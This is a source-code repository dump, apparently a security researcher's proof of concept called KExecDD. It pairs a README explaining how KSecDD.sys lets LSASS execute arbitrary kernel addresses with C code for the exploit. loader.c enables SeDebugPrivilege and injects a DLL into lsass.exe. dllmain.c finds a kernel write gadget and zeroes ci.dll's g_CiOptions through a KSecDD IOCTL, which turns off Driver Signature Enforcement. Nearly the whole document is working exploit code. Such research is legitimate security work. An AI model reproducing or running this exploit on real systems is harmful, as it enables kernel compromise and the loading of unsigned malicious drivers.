├── demo.gif ├── README.md ├── loader.c └── dllmain.c /demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/floesen/KExecDD/HEAD/demo.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # KExecDD 2 | The Kernel Security Support Provider Interface (KSecDD.sys) allows the Local Security Authority Server Service (LSASS) to execute arbitrary kernel-mode addresses using the `IOCTL_KSEC_IPC_SET_FUNCTION_RETURN` operation. This behavior can be observed in `ksecdd.sys!KsecIoctlHandleFunctionReturn`. As soon as LSASS starts, it invokes `lsass.exe!LsapOpenKsec` where it connects itself to the interface using the `IOCTL_KSEC_CONNECT_LSA` operation. From this point on, no further process can connect to the interface and therefore the logic can only be triggered by LSASS. Note, however, that exactly one connection can be created for each server silo, but I am not sure about the implications of this. 3 | 4 | The proof of concept injects a DLL into the LSASS process from where it disables Driver Signature Enforcement by overwriting `ci.dll!g_CiOptions` (keep in mind that this will eventually trigger Patchguard after some time). This obviously only works if LSASS does not run as a protected process (LSA Protection has to be disabled). 5 | 6 | 7 | # Demo 8 | ![](https://github.com/floesen/KExecDD/blob/main/demo.gif) 9 | -------------------------------------------------------------------------------- /loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | DWORD GetLsassPid() { 7 | DWORD Pid = -1; 8 | PROCESSENTRY32 Process; 9 | HANDLE ProcessSnapshot; 10 | Process.dwSize = sizeof(Process); 11 | 12 | ProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 13 | if (ProcessSnapshot == INVALID_HANDLE_VALUE) { 14 | goto end; 15 | } 16 | 17 | if (!Process32First(ProcessSnapshot, &Process)) { 18 | goto end; 19 | } 20 | 21 | do { 22 | if (wcscmp(Process.szExeFile, L"lsass.exe")) { 23 | continue; 24 | } 25 | 26 | Pid = Process.th32ProcessID; 27 | break; 28 | } while (Process32Next(ProcessSnapshot, &Process)); 29 | 30 | end: 31 | if (ProcessSnapshot != INVALID_HANDLE_VALUE) { 32 | CloseHandle(ProcessSnapshot); 33 | } 34 | 35 | return Pid; 36 | } 37 | 38 | VOID main() { 39 | DWORD PathResult, LsassPid; 40 | HANDLE ProcessHandle = NULL, ThreadHandle = NULL; 41 | LPVOID Allocation = NULL; 42 | CHAR FullPath[MAX_PATH]; 43 | UINT64 FuncAddr; 44 | ULONG PreviousValue; 45 | 46 | FuncAddr = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlAdjustPrivilege"); 47 | if (!FuncAddr) { 48 | goto end; 49 | } 50 | 51 | // enable SeDebugPrivilege 52 | if (((NTSTATUS(WINAPI*)(ULONG, BOOL, BOOL, PULONG))FuncAddr)(0x14, TRUE, FALSE, &PreviousValue) != 0) { 53 | goto end; 54 | } 55 | 56 | PathResult = GetFullPathNameA("exploit.dll", sizeof(FullPath), FullPath, NULL); 57 | if (!PathResult || (PathResult > sizeof(FullPath))) { 58 | goto end; 59 | } 60 | 61 | LsassPid = GetLsassPid(); 62 | if (LsassPid == -1) { 63 | goto end; 64 | } 65 | 66 | ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, LsassPid); 67 | if (!ProcessHandle) { 68 | goto end; 69 | } 70 | 71 | Allocation = VirtualAllocEx(ProcessHandle, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 72 | if (!Allocation) { 73 | goto end; 74 | } 75 | 76 | if (!WriteProcessMemory(ProcessHandle, Allocation, FullPath, sizeof(FullPath), NULL)) { 77 | goto end; 78 | } 79 | 80 | ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, 81 | Allocation, 0, NULL); 82 | 83 | end: 84 | if (ThreadHandle) { 85 | CloseHandle(ThreadHandle); 86 | } 87 | 88 | if (ProcessHandle) { 89 | // only free the memory if thread creation was not successful 90 | if (!ThreadHandle && Allocation) { 91 | VirtualFreeEx(ProcessHandle, Allocation, 0, MEM_RELEASE); 92 | } 93 | 94 | CloseHandle(ProcessHandle); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /dllmain.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #pragma comment (lib, "ntdll") 6 | 7 | // mov qword [rcx], rdx 8 | #define NTOSKRNL_WRITE_GADGET 0x53A4B0 9 | 10 | // ci!g_CiOptions 11 | #define CI_OPTIONS 0x4D004 12 | 13 | #define IOCTL_KSEC_IPC_SET_FUNCTION_RETURN 0x39006f 14 | 15 | typedef struct _SYSTEM_HANDLE { 16 | ULONG ProcessId; 17 | BYTE ObjectTypeNumber; 18 | BYTE Flags; 19 | USHORT Handle; 20 | PVOID Object; 21 | ACCESS_MASK GrantedAccess; 22 | } SYSTEM_HANDLE, *PSYSTEM_HANDLE; 23 | 24 | typedef struct _SYSTEM_HANDLE_INFORMATION { 25 | ULONG HandleCount; 26 | SYSTEM_HANDLE Handles[1]; 27 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 28 | 29 | typedef struct _OBJECT_BASIC_INFORMATION { 30 | ULONG Attributes; 31 | ACCESS_MASK GrantedAccess; 32 | ULONG HandleCount; 33 | ULONG PointerCount; 34 | ULONG PagedPoolUsage; 35 | ULONG NonPagedPoolUsage; 36 | ULONG Reserved[3]; 37 | ULONG NameInformationLength; 38 | ULONG TypeInformationLength; 39 | ULONG SecurityDescriptorLength; 40 | LARGE_INTEGER CreateTime; 41 | } OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; 42 | 43 | typedef struct _OBJECT_NAME_INFORMATION { 44 | UNICODE_STRING Name; 45 | } OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; 46 | 47 | BOOL FindKernelAddresses(UINT64 *WriteGadget, UINT64 *CiOptions) { 48 | LPVOID DriverBases[1024]; 49 | CHAR DriverName[100]; 50 | DWORD Needed; 51 | ULONG i, DriverCount; 52 | 53 | if (!WriteGadget || !CiOptions) { 54 | return FALSE; 55 | } 56 | *WriteGadget = 0; 57 | *CiOptions = 0; 58 | 59 | if (!EnumDeviceDrivers(DriverBases, sizeof(DriverBases), &Needed) || (Needed >= sizeof(DriverBases))) { 60 | return FALSE; 61 | } 62 | 63 | DriverCount = Needed / sizeof(DriverBases[0]); 64 | 65 | for (i = 0; i < DriverCount; i++) { 66 | if (!GetDeviceDriverBaseNameA(DriverBases[i], DriverName, sizeof(DriverName))) { 67 | continue; 68 | } 69 | 70 | if (!_stricmp(DriverName, "ntoskrnl.exe")) { 71 | *WriteGadget = (UINT64)DriverBases[i] + NTOSKRNL_WRITE_GADGET; 72 | continue; 73 | } 74 | 75 | if (!_stricmp(DriverName, "ci.dll")) { 76 | *CiOptions = (UINT64)DriverBases[i] + CI_OPTIONS; 77 | continue; 78 | } 79 | } 80 | 81 | return (*WriteGadget && *CiOptions); 82 | } 83 | 84 | VOID Exploit() { 85 | NTSTATUS Status; 86 | ULONG *Buffer = NULL, BufferSize = 0x1000 * sizeof(ULONG), i; 87 | struct { 88 | UINT64 Rip; 89 | UINT64 Arg1; 90 | } IoctlStructure; 91 | 92 | if (!FindKernelAddresses(&IoctlStructure.Rip, &IoctlStructure.Arg1)) { 93 | goto end; 94 | } 95 | 96 | Buffer = (ULONG *)malloc(BufferSize); 97 | if (!Buffer) { 98 | goto end; 99 | } 100 | 101 | // 0xC0000004 == STATUS_INFO_LENGTH_MISMATCH 102 | while ((Status = NtQuerySystemInformation(0x10, Buffer, BufferSize, 0)) == 0xC0000004) { 103 | free(Buffer); 104 | BufferSize *= 2; 105 | 106 | Buffer = malloc(BufferSize); 107 | if (!Buffer) { 108 | goto end; 109 | } 110 | } 111 | 112 | if (Status != 0) { 113 | goto end; 114 | } 115 | 116 | // find the ksecdd handle 117 | SYSTEM_HANDLE_INFORMATION *Info = (SYSTEM_HANDLE_INFORMATION *)Buffer; 118 | for (i = 0; i < Info->HandleCount; i++) { 119 | HANDLE CurrentHandle = (HANDLE)Info->Handles[i].Handle; 120 | OBJECT_BASIC_INFORMATION BasicInformation; 121 | OBJECT_NAME_INFORMATION *NameInformation; 122 | UINT8 IoctlBuffer[16]; 123 | 124 | if (Info->Handles[i].ProcessId != GetCurrentProcessId()) { 125 | continue; 126 | } 127 | 128 | if (NtQueryObject(CurrentHandle, 0, &BasicInformation, sizeof(BasicInformation), &BufferSize) != 0) { 129 | continue; 130 | } 131 | 132 | BufferSize = BasicInformation.NameInformationLength == 0 ? 133 | MAX_PATH * sizeof(WCHAR) : BasicInformation.NameInformationLength; 134 | 135 | NameInformation = (OBJECT_NAME_INFORMATION *)malloc(BufferSize); 136 | if (!NameInformation) { 137 | goto end; 138 | } 139 | 140 | if (NtQueryObject(CurrentHandle, 1, NameInformation, BufferSize, &BufferSize) != 0) { 141 | free(NameInformation); 142 | continue; 143 | } 144 | 145 | if (!NameInformation->Name.Buffer) { 146 | free(NameInformation); 147 | continue; 148 | } 149 | 150 | if (!wcsstr(NameInformation->Name.Buffer, L"KsecDD")) { 151 | free(NameInformation); 152 | continue; 153 | } 154 | 155 | free(NameInformation); 156 | 157 | *(UINT64 *)IoctlBuffer = (UINT64)&IoctlStructure; 158 | 159 | // this controls edx (we want to write 0 to g_CiOptions) 160 | *(UINT64 *)&IoctlBuffer[8] = 0; 161 | 162 | DeviceIoControl(CurrentHandle, IOCTL_KSEC_IPC_SET_FUNCTION_RETURN, IoctlBuffer, 16, NULL, 0, NULL, NULL); 163 | break; 164 | } 165 | 166 | end: 167 | if (Buffer) { 168 | free(Buffer); 169 | } 170 | } 171 | 172 | BOOL APIENTRY DllMain(HMODULE Module, DWORD ReasonForCall, LPVOID Reserved) { 173 | switch(ReasonForCall) { 174 | case DLL_PROCESS_ATTACH: 175 | Exploit(); 176 | break; 177 | case DLL_THREAD_ATTACH: 178 | case DLL_THREAD_DETACH: 179 | case DLL_PROCESS_DETACH: 180 | break; 181 | } 182 | 183 | return TRUE; 184 | } 185 | 186 | --------------------------------------------------------------------------------